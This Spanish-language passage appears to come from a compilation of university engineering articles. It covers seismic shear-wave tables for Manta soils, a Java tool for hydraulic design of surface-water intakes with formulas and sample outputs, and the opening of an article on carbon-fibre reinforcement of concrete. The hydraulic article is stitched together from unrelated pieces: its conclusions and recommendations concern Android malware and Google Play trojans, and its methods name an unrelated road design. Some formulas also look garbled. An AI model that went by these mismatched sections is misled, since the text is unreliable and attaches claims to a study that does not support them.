VELOCIDADES DE ONDAS DE CORTE Y NUMERO MEDIO DE GOLPE N60						
ESTRATIGRAFIA	di (espesor del estrato i)	P.UNIT (T/m3)	S.P.T (N)	di/Ni	N60	Vs (m/s)
					$N_{60} = \frac{\sum_{i=1}^n d_i}{\sum_{i=1}^n \frac{d_i}{N_{60}}}$	
Relleno grava arcillosa	0,30				8,49	
Arcilla	1	1,63	0	0,000		0,00
Arena fina arcillosa	1	1,832	2	0,500		174,72
Arcilla color gris	1	1,794	0	0,000		0,00
Arcilla color café claro	1	1,654	0	0,000		0,00
Arcilla color café oscuro	1	1,867	0	0,000		0,00
Arcilla color café verdoso	1	1,806	4	0,250		185,77
Arena fina arcillosa	1	1,902	8	0,125		174,72
Arena fina	1,5		9	0,167		174,72
Arcilla color gris-verdoso	1,5		11	0,136		185,77
$\sum di = 10$		$\sum di/N60 = 1,178$				

Fuente: Gad municipal de manta

ESTRATIGRAFIA DE SUELO NUMERO 2						
VELOCIDADES DE ONDAS DE CORTE Y NUMERO MEDIO DE GOLPE N60						
ESTRATIGRAFIA	di (espesor del estrato i)	P.UNIT (T/m3)	S.P.T (N)	di/Ni	N60	Vs (m/s)
					$N_{60} = \frac{\sum_{i=1}^n d_i}{\sum_{i=1}^n \frac{d_i}{N_{60}}}$	
Arcilla limosa color café	1		4	0.250	4.79	175.45
Arcilla limosa color café	1		3	0.333		175.45
Arcilla limosa arenosa	1,5		4	0.375		175.45
Arcilla con lentes de arena fina	1.5		4	0.375		175.45
Arcilla con lentes de arena fina	1		5	0.200		175.45
Arena arcillosa color gris	1		19	0.053		148.89
Arcilla con lentes de arena fina	1		4	0.250		175.45
Arcilla plastica color café	2		8	0.250		175.45
$\sum di = 10$		$\sum di/Ni = 2.086$				

Fuente: Gad Municipal de Manta

Alcances.

- Detecta variaciones tanto en profundidad como en la horizontal de la velocidad de la onda P (y de la S).
- Permite la detección de la profundidad a basamento y de su relieve,

dependiendo de variables como longitud del tendido, energía de la fuente sísmica, velocidades de los suelos.

Limitaciones.

- Sólo funciona cuando la velocidad de propagación de las ondas aumenta con la profundidad. En el caso de suelos con capas intermedias de menor velocidad el método arrojaría resultados erróneos.
- Para el caso de aplicaciones urbanas de la Ingeniería Civil, el Método de Refracción Sísmica está limitado por la disponibilidad de zonas descubiertas con suficiente extensión. La longitud del tendido en superficie está directamente relacionada con el alcance de la exploración en profundidad.

De los ensayos de refracción sísmica se pueden obtener las velocidades de propagación no solamente de la onda P, sino de la onda S. Este método es muy útil en áreas donde existen rocas blandas, depósitos aluviales o suelos blandos, en los cuales puede haber grandes variaciones entre las relaciones de la velocidad de las ondas P y S. Obtener la velocidad de propagación de las ondas S es muy importante para determinar las características elásticas del terreno. (D., 2016)

CONCLUSIONES

El ensayo de refracción sísmica permite la detección de la profundidad y realizar el ensayo del terreno para calcular la onda de corte. Para el cálculo de la refracción sísmica se necesita la topografía del suelo y los diversos ensayos.

Las velocidades de ondas de corte nos permiten clasificar el suelo de acuerdo a la norma ecuatoriana de construcción NEC-2015 y a la vez nos permite conocer si en el tipo de suelo que nos encontramos las velocidades de las ondas sísmicas se van a amplificar a través del

suelo, la cual podría ser causante de daños estructurales en las viviendas y edificios, por lo que se debe tomar en cuenta al momento del diseño de las estructuras.

REFERENCIAS BIBLIOGRÁFICAS

ASTM Designation . (2016). *“Standard Guide for Using the Seismic Refraction Method for Subsurface Investigation”*. Philadelphia, U.S.A.

Ayashi, K. .. (2015.). *“Data Acquisition and Analysis of Active and Passive Surface Wave Methods”*. MADRID: SAGEEP .

Benjamín, F. H. (2015 (RECUPERADO)). *“Introducción a la Geofísica”*. Barcelona, España.

CISMID. (2014). *“Memorias del Seminario Taller de Dinámica de Suelos”*. Machala: Universidad Nacional de Ingeniería.

D., H. F. (2016). *“Introducción a la Geofísica”*. (*“Pagina 19 – 83”*). España-Barcelona.

Galvez, I. (2015). *Ensayos ReMi para calcular la velocidad de onda de corte*. Valparaiso: LEMCO.

Louyi. (2017). *Metodos ReMi*. chile.

BIOGRAFÍA DEL AUTOR

Ing. Gery Lorenzo Marcillo Merino, Ing. Civil, Msc. Ciencias de la Ingeniería Estructural, Universidad Técnica de Manabí, Docente de la Universidad Estatal del Sur de Manabí.

Luis Antonio Bonilla Campo, Estudiante del octavo semestre en la carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí. Graduado en el Colegio Fiscal Técnico Industrial Jipijapa como bachiller en Instalaciones y Mantenimiento de Equipos, Maquinas Eléctricas, elegido mejor alumno con mención de honor de todo el año lectivo y porta estandarte de prestigioso colegio. Además, hecho los estudios escolares iniciales y graduado hasta el séptimo Año de Educación Básica en la Escuela Fiscal Mixta Manuel Inocencio Parrales I Guale.

MODELO PARA EL CÁLCULO HIDRÁULICO EN CAPTACIONES DE AGUAS SUPERFICIALES MEDIANTE UNA APLICACIÓN INFORMÁTICA

Karla Alexandra Gonzalez Molina,

Murillo Baque Dante Stalin,

Ing. Julio Johnny Regalado Jalca

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

mdondanthe@gmail.com

RESUMEN

El Diseño del modelo matemático para el cálculo hidráulico de captaciones en aguas superficiales mediante la utilización de una aplicación informática, se desarrolló con la finalidad de optimizar y facilitar los procesos de cálculos que se realizan de manera manual, logrando mejorar el rendimiento, control y la optimización de los procedimientos que se realizan para la captación de aguas superficiales. Para la realización del sistema informático se utilizó como guía una estructura operativa mixta, combinando metodología analítica e informática, para el desarrollo de la aplicación se utilizaron diversas tecnologías como el lenguaje de programación JAVA, utilizando la plataforma de desarrollo NetBeans IDE. De esta manera se pudo concluir que con la implantación del sistema los procesos de cálculos matemáticos se realizarán de manera fácil y ágil, generando un mejor desempeño en los resultados obtenidos para el diseño de captaciones de aguas superficiales.

PALABRAS CLAVE: NetBens IDE; aguas superficiales; modelo matemático; JAVA.

ABSTRACT

The design of a mathematical model of surface water collection using a computer application, was developed with the purpose of optimizing and facilitating the calculation processes that are performed manually, achieving improved performance, control and optimization of procedures that are perform for the capture of surface water. For the realization of the computer system, a mixed operative structure was used as a guide, combining analytical and computerized methodology. For the development of the application, various technologies were used, such as the JAVA programming language, using the NetBeans IDE development platform. In this way it was possible to conclude that with the implementation of the system the mathematical calculation processes will be carried out easily and agilely, generating a better performance in the results obtained for the design of surface water catchments.

KEYWORDS: NetBens IDE; surface water; mathematical model; JAVA.

INTRODUCCIÓN

A través de la historia, el hombre ha necesitado de un suministro adecuado de agua para su alimentación, seguridad y bienestar. El agua es una necesidad universal y es el principal factor limitante para la existencia de la vida humana.

La captación de agua de lluvia es un medio fácil de obtener agua para consumo humano y/o uso agrícola, por medio del punto o puntos de origen de las aguas para un abastecimiento, así como las obras de diferente naturaleza que deben realizarse para su recogida.

El Diseño del modelo matemático para el cálculo hidráulico de captaciones en aguas superficiales mediante la utilización de una aplicación informática consiste en la automatización de los procedimientos que se realizan para La captación de agua, los resultados que se obtienen parten desde la recolección y el almacenamiento de agua proveniente de diversas fuentes para uso benéfico.

Para la elaboración de modelo matemático se determinó los parámetros hidráulicos que se requieren para la captación de una cuenca la misma que es conducida a estanques reservorios puede aumentar significativamente el suministro de ésta, la misma que es utilizada para el riego de huertos, bebederos de animales, la acuicultura y usos domésticos.

Se utiliza en lugares donde la precipitación pluvial y la calidad de agua son adecuadas para estos fines. Al efecto, que las aguas lluvias son interceptadas, colectada y almacenada en depósitos para su posterior uso.

Las captaciones se realizarán por medio de obras de toma en el cauce o en las márgenes de las corrientes de agua, previo estudio hidrológico que justifique los caudales utilizables en el río o el arroyo.

Los Recursos Hídricos de la República del Ecuador están sujetos a una presión que es una función de la demanda del agua para satisfacer las múltiples necesidades que dependen de ella. En nuestro medio el diseño de captaciones de aguas superficiales se los realiza de manera analítica por lo que en ocasiones es una tarea ardua y tediosa, por eso se planteó un modelo matemático con la utilización del lenguaje de programación JAVA que permite gestionar y automatizar los cálculos para un mejor diseño.

MATERIALES Y MÉTODOS

Para este diseño vial de la ciudadela Renato Burgos, se utilizaron los métodos de investigación analítica e informática.

El método analítico se utilizó como elemento para determinar las causas, mediante el análisis, la observación, con el propósito de optimizar los procedimientos en el desarrollo del sistema de información, considerando la clasificación e interpretación de los cálculos empleados para el diseño de la aplicación.

RESULTADOS Y DISCUSIÓN

Para determinar los parámetros hidráulicos de una captación de agua superficial se consideró lo siguiente:

Diseño de reja de entrada

Grafico 1: Parámetros generales Rejilla

FUENTE: Dante Murillo,2018

Tabla 5 Parámetros para diseño de reja de entrada

<u>Símbolo</u>	Descripción	Unidad
(vr)	Velocidad del río	m/s
(Hr)	Carga hidráulica del vertedero (aguas arriba)	m
(z)	Desnivel entre láminas libres (aguas arriba y aguas abajo del vertedero)	m
(P1)	Altura del umbral del vertedero (aguas arriba), medido desde el lecho del río	m
(P2)	Altura del umbral del vertedero (aguas abajo), medido desde la base del desrripador	m
(K)	Coefficiente de contracción lateral de los barrotes	
(U)	Coefficiente de obturación del río	
(t)	Espesor de los barrotes	m
(s)	Separación entre barrotes	m
(k)	Coefficiente de pérdidas para rejillas	
(Cv)	Coefficiente de velocidad	

FUENTE: Dante Murillo,2018

Desrripador

Para el diseño del desrripador se debe tener parámetro de la rejilla

Grafico 2: Parámetros generales Desrripador

FUENTE:
Murillo,2018

Tabla 6 Parámetros para diseño de desrripiador

Símbolo	Descripción	Unidad
(P2')	Altura del umbral del vertedero (aguas abajo), medido desde la base del canal de transición	m
(z')	Desnivel entre láminas libres (aguas arriba y aguas abajo del vertedero)	m

FUENTE: Dante Murillo,2018

Canal de transición

Grafico 3: Parámetros generales Canal de Transicion

FUENTE: Dante

Murillo,2018

Tabla 7 Parámetros
canal de transición

para diseño del

Símbolo	Descripción	Unidad
(a)	Apertura de la compuerta, medido desde la base del desrripiador	m
(Cv)	Coficiente de velocidad	

FUENTE: Dante Murillo,2018

Compuerta de Lavado

Grafico 4: Parámetros generales Compuerta de Lavado

FUENTE: Dante Murillo,2018

Tabla 8 Parámetros para diseño del Compuerta de lavado

Símbolo	Descripción	Unidad
(a)	Apertura de la compuerta, medido desde la base del desripiador	m
(Cv)	Coficiente de velocidad	
(H)	Carga hidráulica	m
(hc)	Tirante contraído	m

FUENTE: Dante Murillo,2018

Azud

Grafico 5: Parámetros generales Azud

FUENTE: Dante Murillo,2018

Tabla 9 Parámetros para diseño del perfil Azud

Símbolo	Descripción	Unidad
(NL)	Nivel del lecho del río	m.s.n.m
(Q)	Caudal del río	m2
(B)	Ancho del río	m
(ha)	Tirante aguas abajo	m

(m)	Coeficiente de inmersión	°
(Cv)	Coeficiente de velocidad	
(T)	Altura de lamina	m
(NU)	Cota máxima del azud	m.s.n.m
(NM)	Cota máxima de lámina de agua	m.s.n.m
(hp)	Tirante del resalto hidráulico	m
(Lp)	Longitud de la poza disipadora	m

FUENTE: Dante Murillo,2018

En el modelo matemático para el diseño las rejillas se toman en consideración los criterios de Bazin, Villamonte, entre otros.

Las rejillas se consideran de poca inclinación si el ángulo que forman con la horizontal ($\emptyset$) es menor de 20° . En este caso la descarga sobre la rejilla depende de la carga efectiva sobre ella y si las barras son paralelas, la carga es prácticamente igual a la Energía específica (E), pues el flujo es vertical y el agua fluye sin producir choques bruscos contra los bordes. (Harper & Row Latinoamericana, México, 1981).

En el siguiente grafico se observa el modelo matemático de la captación de Aguas Superficiales.

Grafico 6: Esquema General del Modelo Matemático

Fuente: Dante Murillo,2018

El modelo matemático de captación de aguas superficiales consiste de las siguientes partes:

Modelo de Rejilla

$$b = \frac{Q}{k * Mo * S * Hr^{\frac{3}{2}}}$$

$$Ne_1 = \frac{b}{Se}$$

$$Nb_1 = Ne_1 - 1$$

$$Lr_1 = b + \left[\left(\frac{b}{S} - 1 \right) * t \right]$$

$$Vm = \frac{Q}{A}$$

$$\alpha = \cos^{-1} \left(\frac{Vr}{Vm} \right)$$

$$hf_r = Kb \left(\frac{t}{Se} \right)^{\frac{4}{3}} * \left(\frac{Vm_{ob}^2}{2 * g} \right) \text{sen } \alpha_1$$

Modelo de Desrripiador

$$Y1 = \frac{\frac{0,385m^2}{S}}{0,95 \sqrt{2 * \frac{9,81m}{s^2(1,53m - Y1)}}}$$

$$h_{cr}^3 = \frac{Q^3}{g * b^2}$$

$$To = Zo` + P1 + Hr + \frac{V^2}{2 * g}$$

$$Fr_1^2 = \frac{Q^2}{g * b^2 * Y_1^3}$$

$$y2 = \frac{Y1}{2} * \left[\sqrt{1 + 8 * Fr_1^2} - 1 \right]$$

Modelo de Canal de transicion

$$b1 = \frac{Q}{\sqrt{2 * g} * Mo' * S' * Hr^{\frac{3}{2}}}$$

$$H = \left[\frac{n * Q_{ob} * 2^{\frac{2}{3}}}{J^{\frac{1}{2}} * (2\sqrt{m^2 + 1} - m)} \right]^{\frac{3}{8}}$$

$$b2 = 2 * H$$

$$Lt = \frac{b1 - b2}{2 * \text{tag}(\theta)}$$

$$V_t = \frac{Q_{ob}}{Bv * Hr'}$$

$$R = \frac{h}{2}$$

$$hr = Z' + \frac{V_t^2}{2g}$$

Modelo de Compuerta

$$b = \frac{Q}{q * Cv * e * \sqrt{2 * g * (H + \frac{V^2}{2 * g} - ea)}}$$

$$Vc = \frac{Q}{A}$$

Modelo de Azud

$$Ho = \frac{Q}{m * B * \sqrt{2 * g}^{\frac{2}{3}}}$$

$$hc = \frac{Q}{B * Cv * \sqrt{2 * g * To}}$$

$$hcr = \left(\frac{Q^2}{g * B^2} \right)^{\frac{1}{3}}$$

$$Fr_1^2 = \frac{Q^2}{g * b^2 * h_c^3}$$

$$h2 = \frac{hc}{2} * \sqrt{1 + 8 * Fr_1^2} - 1$$

$$hp = ha + \Delta z + d$$

$$d = (ns * h2) - ha - \Delta z$$

$$\Delta z = \frac{Q^2}{2 * g * B^2} * \left(\frac{1}{(Cv * ha)^2} \right) - \frac{1}{hp^2}$$

Para la construcción de la aplicación informática se consideraron los parámetros hidráulicos para agua superficial mostradas en las tablas anteriores, también se aplicó el modelo matemático basado consideración los criterios de Bazin, Villamonte, entre otros.

En la siguiente imagen podemos observar que la aplicación cuenta con un menú en el cual encontramos los criterios que durante el estudio y desarrollo de la aplicación.

En cada opción debemos rellenar los datos de entrada excluyendo a los datos que se calculan automáticamente, es decir datos cuyos valores son calculados, con datos que se ingresan o con alguna fórmula prescrita, es importante respetar las condiciones establecidas en la parte inferior derecha de la imagen, para poder realizar los procesos satisfactoriamente.

Una vez presionado el botón aceptar, una pantalla con resultados aparecerá, a continuación se muestran fragmentos de esa pantalla:

Criterio 1: Rejilla:

Grafico 7: Ingreso de datos para entrada a la rejilla

Rejilla | Despiador | Canal de transición | Compuerta de lavado | Vertedero

Ingreso de entrada para la rejilla

Datos hidráulicos de la reja:

Q: 1.012 m³/s

Hr: 0.5 m

Z1: 0.1 m

Hn: 0.4 m

Vr: 0.5 m/s

g: 9.81 m/s²

Datos barrotes:

tt: 0.01 m

Se: 0.04 m

K: 0.85

Kb: 2.24

U: 10 %

Condiciones: $P_1 + H_n > P_2$
 $\frac{Z}{P_2} < 0,70$
 $H_r < (P_1)$
 $P_2 < (90\%P_1)$

Datos vertedero:

Fu P1: 1 m

C P2: 0.5 m

Aceptar

Resultados:

Variables	Valor	Unidades
Coefficiente de inmersión (S):	0.6645	
Coefficiente de sumersión (Mo):	1.9301	
Ancho libre de la reja de entrada (b):	2.63	m
Numero de espacio (Ne):	66	u
Numero de barrotes (Nb):	65	u
Ancho real de la reja de entrada (Lr):	3.27	m
Ancho real obstruido (b')::	2.89	m
Velocidad Media (Vm):	0.77	m/s
Angulo (α):	49.56	°
Angulo (β):	40.44	°
Perdida de carga en la reja (hr):	0.0081	m

Grafico 8: Ingreso de datos canal de transición

Rejilla | Despiador | Canal de transición | Compuerta de lavado | Vertedero

Ingreso de entrada para el canal de transición

Calculo hidráulico del despiador: Datos obtenidos del despiador:

Q: 1.012 m³/s

Hr: 0.5 m

P1: 1 m

P2: 0.5 m

Vm: 0.77 m/s

Cv: 0.95

Ho: 0.53 m

T: 1.5 m

A: 1.31 m²

Zc: 0.5 m

Vm2/2g: 0.03 m/s

Aceptar

En la opcion deripiador no contiene como tal una pantalla de resultado, más bien se deben llenar los datos porque son valores necesarios para el funcionamiento de los siguientes calculos.

Fuente: Aplicación desarrollada por el autor

Criterio 3: Canal de transición:

Ingresamos los datos correspondientes al canal de transición, una vez que aceptamos se mostraran en pantalla los resultados como se muestra a continuación en las siguientes imágenes:

Grafico 9: Ingreso de datos para canal de transición

Rejilla | Despiador | Canal de transición | Compuerta de lavado | Vertedero

Ingreso de entrada para el canal de transición

Datos hidráulicos del canal de transición:

Q: 1.012 m³/s

Hr': 0.90 m

Z2: 0.1 m

Hn': 0.8 m

φ:

P2: 0.00 m

P3: 0.4 m

H: 0.9 m

Datos del terreno:

n: 0.015

J: 0.005

m: 0

Aceptar

Coefficiente de inmersión (S):	0.7236
Coefficiente de sumersión (Mo):	1.9956
Base de la transición (b1):	2.99 m
Base de transición del canal (b2):	1.03 m
Area hidráulica (A):	0.53 m ²
Perimetro hidráulico (P):	2.06 m
Radio Hidráulico (R):	0.26 m
Velocidad Continua (V):	1.91 m/s
Longitud total de la transición (Lt):	3.66 m
Pérdida de carga en la transición (hr):	0.14 m

Fuente: Aplicación desarrollada por el autor

Grafico 10: Ingreso de datos para canal de transición

Conjugado menor (y_1):	0.095	m
Número de Froude (Fr):	17.663	
Conjugado mayor (y_2):	0.519	m
Longitud desripador (L_s):	2.295	m

Fuente: Aplicación desarrollada por el autor

Criterio 4: Compuerta de lavado

Una vez se han ingresados los datos de entrada en la opción de compuerta de lavado, se obtendrán los resultados, como se muestra en la siguiente imagen:

Grafico 11: Ingreso de datos de la compuerta de lavado

Fuente: Aplicación desarrollada por el autor

Criterio 5: Vertedero

Una vez se han colocado los datos en la opción de vertedero, mostrará los resultados, como se visualizan en las siguientes imágenes:

Grafico 12: Ingreso de datos de la compuerta de lavado

Rejilla
Desripiador
Canal de transición
Compuerta de lavado
Vertedero

Ingreso de datos del vertedero

Datos de presa vertedora:

Q: m³/s

B: m

ha: m

m:

Cv:

Datos de resalto hidráulico:

Cv:

Ns: m.s.n.m.

Datos de terreno:

NL: m.s.n.m.

Tirante Contraído (hc): 0.27 m

Tirante de Resalto Hidráulico (hp): 1.24 m

Tirante Aguas Abajo (ha): 0.80 m

Profundidad de la poza disipadora (d): 0.28 m

Longitud de la poza disipadora (Lp): 5.43 m

F
C

X	Y verte	X	Y verte	NP (m.s.n.m)
0	0.126	0.00	0.09	18.70
0.1	0.036	0.07	0.03	18.76
0.2	0.007	0.14	0.00	18.79
0.3	0	0.21	0.00	18.79
0.4	0.007	0.28	0.00	18.79
0.6	0.06	0.43	0.04	18.75
0.8	0.147	0.57	0.10	18.69
1	0.256	0.71	0.18	18.61
1.2	0.393	0.85	0.28	18.51
1.4	0.565	0.99	0.40	18.39
1.7	0.873	1.21	0.62	18.17
2	1.235	1.42	0.88	17.91
2.5	1.96	1.78	1.39	17.40
3	2.824	2.13	2.01	16.78
3.5	3.818	2.49	2.71	16.08
4	4.93	2.84	3.50	15.29

Carga Hidráulica de Vertedero (H): 0.71 m

Gradiente de Velocidad ($V^2/2g$): 0.05 m

Altura de Lámina de agua (T): 1.50 m

Cota Máxima de la Cresta del Azud (NU): 18.79 m

Cota Máxima de Lamina de Agua (NM): 19.50 m

Fuente: Aplicación desarrollada por el autor

CONCLUSIONES

- El aumento de software malicioso ha incrementado considerablemente en el 2018, a pesar de las vulnerabilidades que anualmente se solucionan.
- El software que más ataca a los dispositivos móviles es el troyano, que viene en aplicaciones que se encuentran en la tienda de Google Play.
- Es importante que el usuario conozca como cultura general de la descarga directa de aplicaciones de la tienda de Google Play.

RECOMENDACIONES

- Si detecta en su dispositivo móvil Android algún comportamiento inusual o extraño es necesario realizar una limpieza o utilizar un antivirus para detectar y solucionar el problema.
- En Android, una aplicación maliciosa no entra como tal, nosotros somos quienes le damos permiso, esto no lo hacemos de manera consciente, lo que intentan estas apps peligrosas es colarse sin que nos demos cuenta con el objetivo de obtener permisos para tener el control como administrador del dispositivo.

REFERENCIAS BIBLIOGRÁFICAS

Arocha A. – Abastecimiento de Aguas- Venezuela, 1987.

Asociación Brasileña de Normas Técnicas – Proyecto de Captación de superficie para abastecimiento Público. Brasil, 1990.

Centro Panamericano de Ingeniería Sanitaria – Serie, Filtración rápida - Manual I, Criterios de Selección. Lima, 1992

De Azevedo J.M & Acosta G., Manual de Hidráulica, Harper & Row Latinoamericana, México, 1981.

El Peruano - Ministerio de Transportes, Comunicaciones, Vivienda y Construcción republicación del Reglamento Nacional de Edificaciones, Rubro: Saneamiento V – Lima, 1998.

Especificaciones técnicas para el diseño de captaciones por gravedad de aguas superficiales (Junio de 2018). Obtenido de <http://www.bvsde.paho.org/tecapro/documentos/agua/e115-04disenocapta.pdf>

Ministerio de Salud de Bolivia Reglamento - Técnico de Diseño de Proyectos de Agua Potable para Poblaciones menores a 5000 habitantes - Bolivia 1990

Ministerio de Salud Perú – Dirección General de Salud Ambiental – Proyectos de abastecimiento de agua potable de la localidad de Yauyos – Lima, 1977.

Rivas Mijares G – Abastecimiento de agua y alcantarillado – Ediciones Vega Venezuela, 1983.

BIOGRAFÍA DE AUTORES

Karla Alexandra Gonzalez Molina, Estudiante de la Carrera de Ingeniero civil de la Universidad Estatal del Sur de Manabi. Actualmente cursando septimo semestre, Bachiller de la UNIDAD EDUCATIVA "QUEVEDO", especialidad Fisico Matematico procedente del Cantón Quevedo - Los Rios.

Murillo Baque Dante Stalin, Ingeniero Civil de la Universidad Estatal del Sur de Manabi., Bachiller de la UNIDAD EDUCATIVA " ALEJO LASCANO ", especialidad Fisico Matematico procedente de la ciudad de Jipijapa – Manabi, Investigador Externo.

Ing. Julio Johnny Regalado Jalca, Ingeniero en Computación y Redes en la Universidad Estatal del Sur de Manabí, Magister en Educación Informática por la Universidad de Guayaquil. Desde el 2012 hasta el 2013, docente de la Carrera de Ingenieria en Computación y Redes y desde el 2014 a la actualidad se desempeña como Docente en la Universidad Estatal del Sur de Manabí en la carrera de Ingeniería Civil.

CRITERIOS DE REFORZAMIENTO ESTRUCTURAL MEDIANTE LA UTILIZACIÓN DE FIBRA DE CARBONO

Byron Alfredo Lino Pionce

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

byronlino13@hotmail.com

RESUMEN

En la vida de la construcción cada día se producen nuevas alternativas para mejorar las obras. En el siguiente documento vamos a hablar de una como es la fibra de carbono. La fibra de carbono en la construcción hay actualmente dos líneas de trabajo; relaciones e implantación en la obra: la implantación en la obra civil está avanzando más despacio que las utilidades reparaciones debido al bajo costo de los materiales tradicionales, a las limitaciones de procesos de fabricación de estructuras de materiales compuestos y a la conservación de las normativas de edificaciones y obra civil. Todos tenemos bien entendido que el concreto armado debe su excelente comportamiento y servicio de trabajo en conjunto de los materiales que lo componen el concreto y el acero cada uno de ellos aporta sus virtudes y como no sus inconvenientes también sabemos que el concreto aporta su buena resistencia a compresión simple, módulo de elasticidad dimensional, facilidad de trabajo. Por otro lado el acero en forma de varillas suministra la resistencia a tensión que el concreto no tiene, formando así un material de cualidades muy importantes en la construcción de cualquier obra de concreto. En este fenómeno de adhesión de un material de refuerzo al concreto por intermedio de un adhesivo, se basa el refuerzo de los elementos estructurales que nos ocupa y en este caso específico el material de refuerzo son láminas o textiles de carbono y fibra de vidrio, y el material adhesivo es la resina epóxica conocida como reforzamiento con materiales compuestos.

PALABRAS CLAVES: fibra de carbono nuevas técnicas- refuerzos estructurales - comportamiento

ABSTRACT

In the life of the construction every day there are new alternatives for improvements in the works. In the next document let's talk about one like carbon fiber. The carbon fiber in the construction there are currently two lines of work; Relations and implantation in the work: the implantation in the civil work is advancing slower than the uses repairs due to the low cost of the traditional materials, with limitations of manufacturing processes of materials structures Compounds and the conservation of building and civil engineering regulations. We All understand that armed concrete owes its excellent performance and service work together of the materials that compose the concrete and steel each of them contributes its virtues and not its drawbacks we also know that concrete It provides good resistance to simple compression, modulus of dimensional elasticity, ease of work. On the other hand the steel in the form of rods provides the resistance to tension that the concrete does not have, thus forming a material of very important qualities in the construction of any concrete work. In this phenomenon of adhesion of a reinforcing material to concrete through an adhesive, the reinforcement is based On the structural elements that concern us and in this specific case the

reinforcing material are sheets or textiles of carbon and fiberglass, and the adhesive material is the epoxy resin known as reinforcement with composite materials.

KEYWORDS: New Carbon fiber technics - Structural reinforcements- Behavior

INTRODUCCIÓN

Hoy en la actualidad las estructuras de concreto pueden presentar insuficiente, ya sea construcciones deficientes, deterioro del hormigón, corrosión del acero de refuerzo, daños estructurales por sobre carga o también daños causados por fenómenos naturales. En caso extremo porque han llegado al final de su ciclo de servicio, generando un factor de riesgo al ser estructuras antiguas que requieren rehabilitación. Por ello, es de vital importancia el análisis de la estructura a lo largo de su vida útil y en caso de ser necesario, la aplicación de elementos de refuerzo. El reforzamiento es una acción que permite aumentar la capacidad de resistencia mecánica de una parte de la estructura o de la estructura completa. En ciertas ocasiones se determina que la estructura requiere aumentar su resistencia en función de las demandas reales. En otras ocasiones, las estructuras se someten a eventos excepcionales que provocan daños que deben ser reparados urgentemente. Hay un tipo de reparación que restituye las características de resistencia original de la estructura, pero por limitaciones económicas los dueños deciden elegir reparaciones cosméticas y superficiales, que permite en ver superficialmente la estructura en buen estado, pero desde el punto de vista mecánico, la estructura continúa con daños. Las técnicas más frecuentes para su reparación y refuerzo son el encamisado de concreto o con perfiles de acero y refuerzo mediante placas de acero.

Los materiales compuestos aparecieron durante la II Guerra Mundial y son materiales heterogéneos, constituidos por una matriz plástica orgánica (polímeros) asociada con una fibra de refuerzo, por lo general de vidrio o carbono, que puede ser de diferentes formas, sea en partículas, fibras cortas, largas o continuas. El reforzamiento con fibras de carbono consiste en incorporar en la estructura fibras de alta resistencia y una matriz, tal que ambas conserven en su integridad física e identidades químicas. En las últimas décadas, la aplicación de compuestos de fibra de carbono para el refuerzo de estructuras empieza a ser una alternativa de refuerzo común y sus propiedades conseguidas pueden ser superiores por la mayor resistencia mecánica y a la corrosión. Son importantes también sus características de ligereza y rapidez, además de los ahorros obtenidos en el proceso total del refuerzo.

ANTECEDENTES

Como todos sabemos que en la actualidad nuestro país ha sufrido un sin número de eventos sísmicos sin dejar de olvidar ese terrible suceso que paso el Ecuador el 16 de abril del 2016. En la cual nosotros nos hizo tomar conciencia y como responsable que millones de estructuras que fueron destruidas o tuvieron grandes daños.

Haciendo memoria y como todos sabemos el concreto armado tienen un excelente comportamiento y servicio al trabajo en conjuntos de los materiales que lo componen el concreto y el acero cada uno de ellos aporta sus virtudes a la hora de construir. Pero los eventos ya mencionados hacen que los profesionales en la materia y nosotros como estudiantes hagamos énfasis en busca nuevas técnicas, aplicaciones o métodos para resolver o mejorar la infraestructura como es la utilización de la fibra de carbono.

MATERIALES Y MÉTODOS

CRITERIOS DE REFORZAMIENTO ESTRUCTURAL MEDIANTE LA UTILIZACIÓN DE FIBRA DE CARBONO

¿Qué Es La Fibra De Carbono?

Es una fibra sintética constituida por finos filamentos de 5-10 micras de diámetro y compuestos principalmente de átomos de carbonos. Los átomos de carbono están unidos entre si en cristales que son mas o menos alineados en paralelos al eje longitudinal de la fibra.

Este polímero se obtiene de calentar sucesivamente a altas temperaturas (hasta 1500 °C) otro polímero llamado poliacrilonitrilo. Este proceso de recalentamiento da lugar a la formación de unas cintas perfectamente alineadas de casi carbono puro en su forma de grafito, por ello su nombre de fibras de carbono.

Aunque su aplicación en nuestro medio es reciente, el uso de esta fibra no es una novedad en el mundo: hace más de 30 años se viene aplicando en la industria aeroespacial y manufacturera de productos de bajo peso, alta resistencia a la tensión y anti-corrosivos, presentando innumerables ventajas en el campo de la construcción.

Así, los materiales compuestos con fibras de carbono se han comenzado a utilizar en la construcción, aprovechando algunas de sus propiedades, como su alta resistencia o su baja densidad y su uso puede estar dirigido a la reparación de las estructuras existentes o a la implantación directamente en la obra. Su versatilidad es enorme, pues la naturaleza de la matriz puede ser muy diversa y la orientación y tamaño de las fibras pueden dar lugar a materiales con propiedades diferentes, con usos muy específicos y con diferentes precios.

Datos Técnicos

La Fibra de carbono se puede destacar por la gran resistencia mecánica (3 veces superior a la del acero), un módulo de elasticidad elevado, y una baja densidad (4.5 veces menor que el acero).

Principales Propiedades

- Muy elevada resistencia mecánica, con módulo de elasticidad elevado
- Bajas densidades en comparación con otros materiales como por ejemplo el acero
- Elevado precio de producción
- Resistencias a agentes externos
- Gran capacidad de aislamiento térmico
- Resistencia a las variaciones de temperatura, conservando su forma, solo si se utiliza matriz termoestable.

También es un material ligero y cada vez mas demandado en la construcción para reparar las estructuras de hormigón.

EL SISTEMA DE REFORZAMIENTO ESTRUCTURAL

¿Porque reforzar?

- Actualización a nuevos reglamentos
- Cambio de uso resultante en incremento de cargas
- Diseño inadecuado
- Errores y defectos en la construcción
- Daños estructurales por eventos accidentales (sismos)
- Corrosión en el acero de refuerzo
- Eliminación total o parcial de elementos estructurales existentes

De todos los sistemas de reforzamiento disponibles, en nuestro medio, el que más acogida a tenido por ventajas es el de láminas de fibras de carbono. Una o varias capas de láminas son colocadas alrededor o debajo de las secciones de concreto a reforzar, y junto a un sistema adhesivo epóxico especial, se logra una total

Adherencia a la antigua superficie de concreto: el resultado es una capa externa de reforzamiento que ayuda a soportar las cargas del elemento y previene deflexiones excesivas.

Gráfico 01: Los componentes de un Sistema de Reforzamiento FRP.

A este comportamiento se suma su rápida aplicación y bajo costo, obteniendo un sistema único basado en materiales de alta resistencia, con una relación rigidez/peso elevada y muy resistentes a ataques químicos.

Aplicación En Obra

Preparación e imprimación

Redondeo de aristas o cantos vivos y granallado de hormigón superficial con maquina eléctricas especial.

Aplicación de mortero EPOXI

Enfajado del pilar con fibra de carbono embebida en resina por ambas caras

